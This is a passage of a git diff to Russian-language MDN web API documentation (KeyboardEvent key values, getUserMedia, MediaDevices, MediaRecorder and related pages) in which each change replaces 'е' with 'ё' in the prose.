<td></td> <td></td> @@ -2588,7 +2588,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"FavoriteRecall3"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в четвертом слоте списка избранного.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в четвёртом слоте списка избранного.</span></span></td> <td><code>VK_RECALL_FAVORITE_3</code></td> <td></td> <td></td> @@ -2620,7 +2620,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"FavoriteStore3"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в четвертый слот списка избранного.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в четвёртый слот списка избранного.</span></span></td> <td><code>VK_STORE_FAVORITE_3</code></td> <td></td> <td></td> @@ -2805,7 +2805,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"NextUserProfile"</code></td> - <td>Циклически переходит к следующему сохраненному профилю пользователя, если эта функция поддерживается и существует несколько профилей.</td> + <td>Циклически переходит к следующему сохранённому профилю пользователя, если эта функция поддерживается и существует несколько профилей.</td> <td><code>VK_USER</code></td> <td></td> <td></td> @@ -2909,7 +2909,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"RfBypass"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим пропуска радиочастотного (RF) входа.</span> <span title="">В режиме пропуска РЧ входной сигнал передается непосредственно на выход РЧ без какой-либо обработки или фильтрации.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим пропуска радиочастотного (RF) входа.</span> <span title="">В режиме пропуска РЧ входной сигнал передаётся непосредственно на выход РЧ без какой-либо обработки или фильтрации.</span></span></td> <td><code>VK_RF_BYPASS</code></td> <td></td> <td></td> @@ -2990,7 +2990,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"Wink"</code></td> - <td>Заставляет устройство идентифицировать себя каким-либо образом, например, мигает светом, на короткое время меняет яркость световых индикаторов или издает звуковой сигнал.</td> + <td>Заставляет устройство идентифицировать себя каким-либо образом, например, мигает светом, на короткое время меняет яркость световых индикаторов или издаёт звуковой сигнал.</td> <td><code>VK_WINK</code></td> <td></td> <td></td> @@ -3032,7 +3032,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"SpeechCorrectionList"</code> [1]</td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Представляет список возможных исправлений неверно определенного слова.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Представляет список возможных исправлений неверно определённого слова.</span></span></td> <td><code>APPCOMMAND_CORRECTION_LIST</code></td> <td></td> <td></td> @@ -3081,7 +3081,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"New"</code> [1]</td> - <td>Создает новый документ или сообщение.</td> + <td>Создаёт новый документ или сообщение.</td> <td><code>APPCOMMAND_NEW</code></td> <td></td> <td><code>GDK_KEY_New</code> (0x1008FF68)<br> @@ -3158,7 +3158,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <h2 id="Клавиши_приложений">Клавиши приложений</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">На некоторых клавиатурах есть специальные клавиши для запуска определенных распространенных приложений или переключения на них.</span> <span title="">Значения клавиш для них перечислены здесь.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">На некоторых клавиатурах есть специальные клавиши для запуска определённых распространённых приложений или переключения на них.</span> <span title="">Значения клавиш для них перечислены здесь.</span></span></p> <table class="standard-table"> <thead> @@ -3442,7 +3442,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </thead> </table> -<p>[1] Internet Explorer, Edge, и Firefox (36 и ранее) используют <code>"SelectMedia"</code> вместо <code>"LaunchMediaPlayer"</code>. Firefox 37 и Firefox 48 используют <code>"MediaSelect"</code>. Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">был обновлен в соответствии с последней спецификацией и теперь возвращает</span></span> <code>"LaunchMediaPlayer"</code>.</p> +<p>[1] Internet Explorer, Edge, и Firefox (36 и ранее) используют <code>"SelectMedia"</code> вместо <code>"LaunchMediaPlayer"</code>. Firefox 37 и Firefox 48 используют <code>"MediaSelect"</code>. Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">был обновлён в соответствии с последней спецификацией и теперь возвращает</span></span> <code>"LaunchMediaPlayer"</code>.</p> <p>[2] Google Chrome 57 и ранние возвращают <code>"LaunchMyComputer"</code> вместо <code>"LaunchApplication1"</code>. Смотри <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612743">Chrome Bug 612743</a> для дополнительной информации.</p> diff --git a/files/ru/web/api/localmediastream/index.html b/files/ru/web/api/localmediastream/index.html index b5ca550abb..821224a3b1 100644 --- a/files/ru/web/api/localmediastream/index.html +++ b/files/ru/web/api/localmediastream/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/LocalMediaStream --- <div>{{APIRef("WebRTC")}} {{SeeCompatTable}}</div> -<p>Интерфейс <strong><code>LocalMediaStream</code></strong><strong> </strong>представляет собой поток медиа-контента извлёчённый из локального источника данных. Этот интерфейс возвращается из <code><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></code>.</p> +<p>Интерфейс <strong><code>LocalMediaStream</code></strong><strong> </strong>представляет собой поток медиа-контента извлечённый из локального источника данных. Этот интерфейс возвращается из <code><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></code>.</p> <h2 id="Methods">Methods</h2> diff --git a/files/ru/web/api/location/index.html b/files/ru/web/api/location/index.html index 470064d4b9..0183c895fd 100644 --- a/files/ru/web/api/location/index.html +++ b/files/ru/web/api/location/index.html @@ -60,7 +60,7 @@ translation_of: Web/API/Location <h2 id="Примеры">Примеры</h2> -<pre class="brush: js">// Этот пример создает ссылку и использует ее свойство href +<pre class="brush: js">// Этот пример создаёт ссылку и использует её свойство href // Корректная альтернатива - использовать document.location или window.location текущего URL var url = document.createElement('a'); url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container'; diff --git a/files/ru/web/api/media_session_api/index.html b/files/ru/web/api/media_session_api/index.html index aeaf490463..2d9980c86c 100644 --- a/files/ru/web/api/media_session_api/index.html +++ b/files/ru/web/api/media_session_api/index.html @@ -48,7 +48,7 @@ translation_of: Web/API/Media_Session_API <h2 id="Примеры">Примеры</h2> -<p>Данный пример демонстрирует работу и определение доступности Media Session API. Также, он передает метаданные и определяет собственные обработчики событий:</p> +<p>Данный пример демонстрирует работу и определение доступности Media Session API. Также, он передаёт метаданные и определяет собственные обработчики событий:</p> <pre class="brush: js notranslate">if ('mediaSession' in navigator) { navigator.mediaSession.metadata = new MediaMetadata({ @@ -73,7 +73,7 @@ translation_of: Web/API/Media_Session_API navigator.mediaSession.setActionHandler('nexttrack', function() { /* Code excerpted. */ }); }</pre> -<p>Некоторые браузеры отключают автовоспроизведение медиаэлементов на мобильных устройствах и требуют действий пользователя для начала воспроизведения. Этот пример добавит обработчик события <code>pointerup</code> для кнопки воспроизведения на странице, который начнет работу с медиасессией:</p> +<p>Некоторые браузеры отключают автовоспроизведение медиаэлементов на мобильных устройствах и требуют действий пользователя для начала воспроизведения. Этот пример добавит обработчик события <code>pointerup</code> для кнопки воспроизведения на странице, который начнёт работу с медиасессией:</p> <pre class="brush: js notranslate">playButton.addEventListener('pointerup', function(event) { var audio = document.querySelector('audio'); diff --git a/files/ru/web/api/mediadevices/getusermedia/index.html b/files/ru/web/api/mediadevices/getusermedia/index.html index 4e71c23681..9d53d6f242 100644 --- a/files/ru/web/api/mediadevices/getusermedia/index.html +++ b/files/ru/web/api/mediadevices/getusermedia/index.html @@ -59,7 +59,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <pre class="brush: js notranslate">{ audio: true, video: true }</pre> - <p>Если определяется значение <code>true</code> для медиатипа, результирующий поток обязательно будет иметь в себе запрошенный медиатип. Если ни один из типов не включается в запрос, вызов метода <code>getUserMedia()</code> приведет к ошибке.</p> + <p>Если определяется значение <code>true</code> для медиатипа, результирующий поток обязательно будет иметь в себе запрошенный медиатип. Если ни один из типов не включается в запрос, вызов метода <code>getUserMedia()</code> приведёт к ошибке.</p> <p>Если полная информация о камерах и микрофонах пользователя недоступна по причинам конфиденциальности, приложение может запросить доступ только к необходимым ему функциям, используя дополнительные условия. Следующий пример запрашивает видеотрек с разрешением камеры 1280x720 пикселей:</p> @@ -80,7 +80,7 @@ translation_of: Web/API/MediaDevices/getUserMedia } }</pre> - <p>Если камера не в состоянии обеспечить указанное минимальное разрешение или более высокое, возвращаемый промис будет отменен с объектом <code>OverconstrainedError</code>, и пользователь не увидит диалога запроса разрешения.</p> + <p>Если камера не в состоянии обеспечить указанное минимальное разрешение или более высокое, возвращаемый промис будет отменён с объектом <code>OverconstrainedError</code>, и пользователь не увидит диалога запроса разрешения.</p> <p>Различие поведения происходит по причине того, что ключевые слова <code>min</code>, <code>max</code>, и <code>exact</code> являются обязательными к выполнению. В то время как простые значения и ключевое слово <code>ideal</code> - не обязательные к выполнению. Ниже, полный пример:</p> @@ -112,11 +112,11 @@ translation_of: Web/API/MediaDevices/getUserMedia <pre class="brush: js notranslate">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre> - <p>Следующее строковое свойство - <code>deviceId</code> (идентификатор устройства). Его значение может быть получено из метода {{domxref("mediaDevices.enumerateDevices()")}}, возвращающего список, имеющихся на машине устройств, с их идентификаторами, и может быть использовано для запроса определенного устройства по идентификатору этого устройства:</p> + <p>Следующее строковое свойство - <code>deviceId</code> (идентификатор устройства). Его значение может быть получено из метода {{domxref("mediaDevices.enumerateDevices()")}}, возвращающего список, имеющихся на машине устройств, с их идентификаторами, и может быть использовано для запроса определённого устройства по идентификатору этого устройства:</p> <pre class="brush: js notranslate">{ video: { deviceId: идентификаторНужнойКамеры } }</pre> - <p>Код выше вернет запрашиваемую камеру или другую камеру, если требуемая камера недоступна. Для получения доступа к потоку только определенной камеры, без альтернативы, используется свойство <code>exact</code> (точно) :</p> + <p>Код выше вернёт запрашиваемую камеру или другую камеру, если требуемая камера недоступна. Для получения доступа к потоку только определённой камеры, без альтернативы, используется свойство <code>exact</code> (точно) :</p> <pre class="brush: js notranslate">{ video: { deviceId: { exact: идентификаторНужнойКамеры } } }</pre> </dd> @@ -136,7 +136,7 @@ translation_of: Web/API/MediaDevices/getUserMedia </dl> <dl> - <dt><code>NotAllowedError (Доступ не разрешен)</code></dt> + <dt><code>NotAllowedError (Доступ не разрешён)</code></dt> <dd>Возникает если, одно или несколько запрашиваемых устройств не может быть использованы в настоящее время. Это происходит тогда, когда контекст браузера является не безопасным (страница была загружена используя протокол HTTP вместо HTTPS), а также, если пользователь не разрешил доступ текущему экземпляру браузера к устройству, пользователь отказал в доступе в текущей сессии, или пользователь отказал в доступе к медиаустройствам глобально. Для браузеров, которые поддерживают управление медиаразрешениями с помощью <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, такая ошибка возвращается если Feature Policy не сконфигурирована для разрешение доступа к медиаустройству или устройствам <div class="note"> Более старые версии спецификации использовали вместо этого SecurityError. <code>SecurityError</code> имеет новое значение.</div> </dd> @@ -146,7 +146,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <dd>Хотя пользователь и предоставил разрешение на использование соответствующих устройств, произошла аппаратная ошибка на уровне операционной системы, браузера или веб-страницы, которая препятствовала доступу к устройству..</dd> <dt><code>OverconstrainedError (за границами ограничений)</code></dt> <dd>Возникает если, в результате указанных ограничений не было найдено устройств, отвечающих запрошенным критериям. Ошибка является объектом типа <code>OverconstrainedError</code> и имеет свойство <code>constraint</code>, строковое значение которого является именем ограничения, которое было невозможно встретить, и свойство <code>message</code>, содержащее читаемую человеком строку, объясняющую проблему. - <div class="note">Ошибка может возникнуть даже, если пользователь еще не выдал разрешение на использование устройства, использующиеся как поверхность для идентификации отпечатка пальца.</div> + <div class="note">Ошибка может возникнуть даже, если пользователь ещё не выдал разрешение на использование устройства, использующиеся как поверхность для идентификации отпечатка пальца.</div> </dd> <dt><code>SecurityError (ошибка безопасности)</code></dt> <dd>Возникает если, медиа поддержка отключена в {{domxref("Document")}} на котором был вызван метод <code>getUserMedia()</code>. Механизм по которому медиа поддержка включается и отключается находиться в компетенции браузера пользователя.</dd> @@ -160,7 +160,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p><code>getUserMedia()</code> - это мощная функция, которая может быть использована только в <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасном контексте</a> . В небезопасном контексте, <code>navigator.mediaDevices</code> равно <code>undefined</code>, предотвращая доступ к методу <code>getUserMedia()</code>. Безопасный контекст - это, если кратко, страница, загружаемая по протоколу HTTPS или <code>file:///</code> URL схеме, или страница, загружаемая из <code>localhost</code>.</p> -<p>В нем обязательно запрашивается пользовательское разрешение к доступу <code>audio</code> или <code>video</code> источникам. Только контекст документа верхнего уровня, проверенного источника может запросить доступ, используя метод <code>getUserMedia()</code>. Если контексту верхнего уровня явно не дается разрешение для данного {{HTMLElement("iframe")}} используя <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, пользователю никогда не будет предложено выдать разрешение на использование устройств, пока пользователь самостоятельно не отменит запрет в настройках браузера.</p> +<p>В нем обязательно запрашивается пользовательское разрешение к доступу <code>audio</code> или <code>video</code> источникам. Только контекст документа верхнего уровня, проверенного источника может запросить доступ, используя метод <code>getUserMedia()</code>. Если контексту верхнего уровня явно не даётся разрешение для данного {{HTMLElement("iframe")}} используя <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, пользователю никогда не будет предложено выдать разрешение на использование устройств, пока пользователь самостоятельно не отменит запрет в настройках браузера.</p> <p>Дополнительные подробности на тему требований и правил, и как они отражены в контексте выполняемого кода, о том, как браузеры управляют вопросами конфиденциальности и безопасности читайте далее.</p> @@ -182,7 +182,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <h4 id="Feature_Policy_Функциональная_политика">Feature Policy (Функциональная политика)</h4> -<p>Функция управление безопасностью (<a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>) протокола {{Glossary("HTTP")}} находиться в процессе введения в браузеры, с поддержкой, доступной в различной степени во многих браузерах (но не всегда включенной в настройках по умолчанию, как в Firefox). Метод <code>getUserMedia()</code> - один из методов, требующий использования функциональной политики и вашему коду нужно быть готовым к работе с ним. К примеру, чтобы метод был доступен в документах не высокого уровня, разработчику нужно использовать либо атрибут {{htmlattrxref("allow", "iframe")}} на элементе {{HTMLElement("iframe")}} , который использует <code>getUserMedia()</code>, либо {{HTTPHeader("Feature-Policy")}} заголовок для страниц , передающихся с сервера, которые используют <code>getUserMedia()</code>.</p> +<p>Функция управление безопасностью (<a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>) протокола {{Glossary("HTTP")}} находиться в процессе введения в браузеры, с поддержкой, доступной в различной степени во многих браузерах (но не всегда включённой в настройках по умолчанию, как в Firefox). Метод <code>getUserMedia()</code> - один из методов, требующий использования функциональной политики и вашему коду нужно быть готовым к работе с ним. К примеру, чтобы метод был доступен в документах не высокого уровня, разработчику нужно использовать либо атрибут {{htmlattrxref("allow", "iframe")}} на элементе {{HTMLElement("iframe")}} , который использует <code>getUserMedia()</code>, либо {{HTTPHeader("Feature-Policy")}} заголовок для страниц , передающихся с сервера, которые используют <code>getUserMedia()</code>.</p> <p>Два разрешения, которые обращаются к <code>getUserMedia()</code> - <code>camera</code> и <code>microphone</code>.</p> @@ -203,7 +203,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <h4 id="Безопасность_на_основе_шифрования">Безопасность на основе шифрования</h4> -<p>Метод <code>getUserMedia()</code> доступен <em>только</em> для <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасных контекстов</a>. Безопасный контекст - это уверенность браузера в том, что документ был загружен безопасно, используя HTTPS/TLS, и имеет ограниченную подверженность небезопасным контекстам. Если документ не загружен в безопасном контексте, свойство {{domxref("navigator.mediaDevices")}} равно <code>undefined</code>, делая невозможным доступ к методу <code>getUserMedia()</code>. Попытка получить доступ в такой ситуации приведет к ошибке <code>TypeError</code>.</p> +<p>Метод <code>getUserMedia()</code> доступен <em>только</em> для <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасных контекстов</a>. Безопасный контекст - это уверенность браузера в том, что документ был загружен безопасно, используя HTTPS/TLS, и имеет ограниченную подверженность небезопасным контекстам. Если документ не загружен в безопасном контексте, свойство {{domxref("navigator.mediaDevices")}} равно <code>undefined</code>, делая невозможным доступ к методу <code>getUserMedia()</code>. Попытка получить доступ в такой ситуации приведёт к ошибке <code>TypeError</code>.</p> <h4 id="Безопасность_источника_документа">Безопасность источника документа</h4> @@ -211,7 +211,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <ul> <li>Документ, загруженный в песочницу {{HTMLElement("iframe")}} элемента не может вызвать <code>getUserMedia()</code>, до тех пор пока, на элементе <code><iframe></code> находиться атрибут {{htmlattrxref("sandbox", "iframe")}}, установленный в значение <code>allow-same-origin</code>.</li> - <li>Документ, загруженный по протоколам <code>data://</code> или <code>blob://</code> в URL-адресе, не имеющий источника (такими являются типы URL-ов, введенные пользователями в строке адреса браузера) не может вызвать <code>getUserMedia()</code>. Подобные типы URL-ов, загружаемые из JavaScript кода, наследуют разрешения скрипта.</li> + <li>Документ, загруженный по протоколам <code>data://</code> или <code>blob://</code> в URL-адресе, не имеющий источника (такими являются типы URL-ов, введённые пользователями в строке адреса браузера) не может вызвать <code>getUserMedia()</code>. Подобные типы URL-ов, загружаемые из JavaScript кода, наследуют разрешения скрипта.</li> <li>Иные ситуации, документы которых не имеют источника, к примеру элемент, содержащий атрибут {{htmlattrxref("srcdoc", "iframe")}}, использующийся для указания содержимого фрейма.</li> </ul> @@ -258,14 +258,14 @@ if (navigator.mediaDevices.getUserMedia === undefined) { var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia; - //Некоторые браузеры не реализуют его, тогда вернем отмененный промис + //Некоторые браузеры не реализуют его, тогда вернём отменённый промис // с ошибкой для поддержания последовательности интерфейса if (!getUserMedia) { return Promise.reject(new Error('getUserMedia is not implemented in this browser')); } - // Иначе, обернем промисом устаревший navigator.getUserMedia + // Иначе, обернём промисом устаревший navigator.getUserMedia return new Promise(function(resolve, reject) { getUserMedia.call(navigator, constraints, resolve, reject); diff --git a/files/ru/web/api/mediadevices/index.html b/files/ru/web/api/mediadevices/index.html index 18b3ea99da..c32a95bac6 100644 --- a/files/ru/web/api/mediadevices/index.html +++ b/files/ru/web/api/mediadevices/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/MediaDevices --- <div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div> -<p><span class="seoSummary">Интерфейс <strong><code>MediaDevices</code></strong> предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера, микрофон, а также к совместному использованию экрана. В сущности, он позволяет получать доступ к любому устройству медиа-данных.</span></p> +<p><span class="seoSummary">Интерфейс <strong><code>MediaDevices</code></strong> предоставляет доступ к подключённым медиа-устройствам ввода, таким как камера, микрофон, а также к совместному использованию экрана. В сущности, он позволяет получать доступ к любому устройству медиа-данных.</span></p> <h2 id="Свойства">Свойства</h2> @@ -36,7 +36,7 @@ translation_of: Web/API/MediaDevices <dl> <dt>{{ domxref("EventTarget.addEventListener()") }}</dt> - <dd>Регистрирует обработчик событий для определенного типа событий.</dd> + <dd>Регистрирует обработчик событий для определённого типа событий.</dd> <dt>{{ domxref("MediaDevices.enumerateDevices()") }}</dt> <dd>Получает массив информации о медиа-устройстве ввода-вывода.</dd> <dt>{{domxref("MediaDevices.getSupportedConstraints()")}}</dt> diff --git a/files/ru/web/api/mediaerror/code/index.html b/files/ru/web/api/mediaerror/code/index.html index a08f5c0752..64b925aeb8 100644 --- a/files/ru/web/api/mediaerror/code/index.html +++ b/files/ru/web/api/mediaerror/code/index.html @@ -51,7 +51,7 @@ translation_of: Web/API/MediaError/code <td><code>MEDIA_ERR_DECODE</code></td> <td><code>3</code></td> <td> - <p>Несмотря на то, что ранее ресурс был определен, как используемый, при попытке декодировать медиаресурс произошла ошибка.</p> + <p>Несмотря на то, что ранее ресурс был определён, как используемый, при попытке декодировать медиаресурс произошла ошибка.</p> </td> </tr> <tr> @@ -66,7 +66,7 @@ translation_of: Web/API/MediaError/code <h2 id="Пример">Пример</h2> -<p>В этом примере создается элемент {{HTMLElement("video")}}, устанавливается обработчик ошибок для него, а затем устанавливается атрибут элемента {{htmlattrxref("src", "video")}} для видеоресурса, который должен присутствовать в элементе. Обработчик ошибок просто выводит сообщение</p> +<p>В этом примере создаётся элемент {{HTMLElement("video")}}, устанавливается обработчик ошибок для него, а затем устанавливается атрибут элемента {{htmlattrxref("src", "video")}} для видеоресурса, который должен присутствовать в элементе. Обработчик ошибок просто выводит сообщение</p> <pre class="brush: js">var obj = document.createElement('video'); obj.onerror = function() {console.log("Ошибка с носителями информации: " + obj.error.code);} diff --git a/files/ru/web/api/mediarecorder/index.html b/files/ru/web/api/mediarecorder/index.html index 1f0332b9b6..2234f133c0 100644 --- a/files/ru/web/api/mediarecorder/index.html +++ b/files/ru/web/api/mediarecorder/index.html @@ -5,13 +5,13 @@ translation_of: Web/API/MediaRecorder --- <p>{{APIRef("Media Recorder API")}}</p> -<p>The <strong><code>MediaRecorder</code></strong> это интерфейс <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a> представляющий функциональность для простой записи медиа. Создается с использованием {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} конструктора.</p> +<p>The <strong><code>MediaRecorder</code></strong> это интерфейс <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a> представляющий функциональность для простой записи медиа. Создаётся с использованием {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} конструктора.</p> <h2 id="Конструктор">Конструктор</h2> <dl> <dt>{{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}}</dt> - <dd>Создает новый объект <code>MediaRecorder</code>, получающий {{domxref("MediaStream")}} для записи. Доступны такие параметры, как установка типа MIME контейнера (<code>"video/webm","video/mp4"</code> и другие) и скорости передачи аудио-и видеодорожек или одной общей скорости.</dd> + <dd>Создаёт новый объект <code>MediaRecorder</code>, получающий {{domxref("MediaStream")}} для записи. Доступны такие параметры, как установка типа MIME контейнера (<code>"video/webm","video/mp4"</code> и другие) и скорости передачи аудио-и видеодорожек или одной общей скорости.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -24,11 +24,11 @@ translation_of: Web/API/MediaRecorder <dt>{{domxref("MediaRecorder.stream")}} {{readonlyInline}}</dt> <dd>Возвращает поток который был передан конструктору при создании объекта <code>MediaRecorder</code></dd> <dt>{{domxref("MediaRecorder.ignoreMutedMedia")}}</dt> - <dd>Показывает записывает ли <code>MediaRecorder </code>дорожку {{domxref("MediaStreamTrack")}} если она отключена. Если атрибут равен<code> false, </code><code>MediaRecorder</code> будет записывать тишину для аудио и черные кадры для видео. По умолчанию равно <code>false</code></dd> + <dd>Показывает записывает ли <code>MediaRecorder </code>дорожку {{domxref("MediaStreamTrack")}} если она отключена. Если атрибут равен<code> false, </code><code>MediaRecorder</code> будет записывать тишину для аудио и чёрные кадры для видео. По умолчанию равно <code>false</code></dd> <dt>{{domxref("MediaRecorder.videoBitsPerSecond")}} {{readonlyInline}}</dt> - <dd>Возвращает скорость кодирования видео. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).</dd> + <dd>Возвращает скорость кодирования видео. Она может отличаться от скорости, определённой в конструкторе (если была предоставлена).</dd> <dt>{{domxref("MediaRecorder.audioBitsPerSecond;")}} {{readonlyInline}}</dt> - <dd>Возвращает скорость кодирования аудио. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).</dd> + <dd>Возвращает скорость кодирования аудио. Она может отличаться от скорости, определённой в конструкторе (если была предоставлена).</dd> </dl> <h2 id="Методы">Методы</h2> @@ -39,13 +39,13 @@ translation_of: Web/API/MediaRecorder <dt>{{domxref("MediaRecorder.pause()")}}</dt> <dd>Приостанавливает запись медиа.</dd> <dt>{{domxref("MediaRecorder.requestData()")}}</dt> - <dd>Запрашивает {{domxref("Blob")}} содержащий сохраненные данные полученные с начала записи (или с последнего вызова <code>requestData()</code>). После вызова этого метода, запись продолжается, но в новый <code>Blob.</code></dd> + <dd>Запрашивает {{domxref("Blob")}} содержащий сохранённые данные полученные с начала записи (или с последнего вызова <code>requestData()</code>). После вызова этого метода, запись продолжается, но в новый <code>Blob.</code></dd> <dt>{{domxref("MediaRecorder.resume()")}}</dt> <dd>Возобновляет запись медиа после паузы.</dd> <dt>{{domxref("MediaRecorder.start()")}}</dt> - <dd>Начинает запись медиа. В этот метод можно передать аргумент <code>timeslice </code>со значением в миллисекундах. Если он определен, то медиа будет записываться в отдельные блоки заданной продолжительности, вместо записи в один большой блок.</dd> + <dd>Начинает запись медиа. В этот метод можно передать аргумент <code>timeslice </code>со значением в миллисекундах. Если он определён, то медиа будет записываться в отдельные блоки заданной продолжительности, вместо записи в один большой блок.</dd> <dt>{{domxref("MediaRecorder.stop()")}}</dt> - <dd>Останавливает запись, после чего запускается событие {{event("dataavailable")}}, содержащее последний <code>Blob</code> сохраненных данных.</dd> + <dd>Останавливает запись, после чего запускается событие {{event("dataavailable")}}, содержащее последний <code>Blob</code> сохранённых данных.</dd> </dl> <h2 id="Обработчики_событий">Обработчики событий</h2> @@ -54,7 +54,7 @@ translation_of: Web/API/MediaRecorder <dt>{{domxref("MediaRecorder.ondataavailable")}}</dt> <dd>Вызывает обработчик {{event("dataavailable")}} события, которое запускается раз в <code>timeslice</code> миллисекунд (или, если <code>timeslice</code> не был задан - по окончанию записи). Событие типа {{domxref("BlobEvent")}}, сдержит записанное медиа в {{domxref("BlobEvent.data", "data")}}. Вы можете использовать обработчик для сбора и других действий в зависимости от полученных данных.</dd> <dt>{{domxref("MediaRecorder.onerror")}}</dt> - <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("recordingerror")}}, включающего отчет об ошибках во время записи. Это фатальные ошибки, приводящие к остановке записи. Полученное событие основано на интерфейсе {{domxref("MediaRecorderErrorEvent")}}, свойство которого {{domxref("MediaRecorderErrorEvent.error", "error")}} содержит {{domxref("DOMException")}} описывающие произошедшие ошибки.</dd> + <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("recordingerror")}}, включающего отчёт об ошибках во время записи. Это фатальные ошибки, приводящие к остановке записи. Полученное событие основано на интерфейсе {{domxref("MediaRecorderErrorEvent")}}, свойство которого {{domxref("MediaRecorderErrorEvent.error", "error")}} содержит {{domxref("DOMException")}} описывающие произошедшие ошибки.</dd> <dt>{{domxref("MediaRecorder.onpause")}}</dt> <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("pause")}}, случившегося во время приостановки медиа.</dd> <dt>{{domxref("MediaRecorder.onresume")}}</dt> @@ -175,7 +175,7 @@ if (navigator.getUserMedia) { <p>{{Compat("api.MediaRecorder")}}</p> -<h2 id="Еще_по_теме">Еще по теме</h2> +<h2 id="Ещё_по_теме">Ещё по теме</h2> <ul> <li><a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li> diff --git a/files/ru/web/api/mediarecorder/mediarecorder/index.html b/files/ru/web/api/mediarecorder/mediarecorder/index.html index 2f5217eda5..abca1784a8 100644 --- a/files/ru/web/api/mediarecorder/mediarecorder/index.html +++ b/files/ru/web/api/mediarecorder/mediarecorder/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/MediaRecorder/MediaRecorder <p>Объект, содержащий следующие свойства:</p> <ul> - <li><code>mimeType</code>: <code>mime</code> тип, определяет формат результата записи, который нужно использовать в качестве контейнера для создаваемого объекта <code>MediaRecorder</code>. Можно просто указать формат контейнера, а браузер сам выберет нужный кодек для записи аудио/видео, или используйте <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">параметр codecs</a> или параметр<code> profiles</code> для расширения информации об использовании и тонкой конфигурации кодеков. Приложения, предварительно, могут проверять поддержку браузерами определенного типа из свойства <code>mimeType</code> , вызывая метод {{domxref("MediaRecorder.isTypeSupported()")}}.</li> + <li><code>mimeType</code>: <code>mime</code> тип, определяет формат результата записи, который нужно использовать в качестве контейнера для создаваемого объекта <code>MediaRecorder</code>. Можно просто указать формат контейнера, а браузер сам выберет нужный кодек для записи аудио/видео, или используйте <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">параметр codecs</a> или параметр<code> profiles</code> для расширения информации об использовании и тонкой конфигурации кодеков. Приложения, предварительно, могут проверять поддержку браузерами определённого типа из свойства <code>mimeType</code> , вызывая метод {{domxref("MediaRecorder.isTypeSupported()")}}.</li> <li><code>audioBitsPerSecond</code>: Скорость записи медиа данных аудио.</li> <li><code>videoBitsPerSecond</code>: Скорость записи медиа данных видео.</li> <li><code>bitsPerSecond</code>: Скорость записи медиаданных аудио и видео. Может определяться вместо верхних двух. Если определяется вместе с одним из свойств выше, имеет меньший приоритет, и используется вместо отсутствующей настройки выше..</li> @@ -44,7 +44,7 @@ translation_of: Web/API/MediaRecorder/MediaRecorder <h2 id="Пример">Пример</h2> 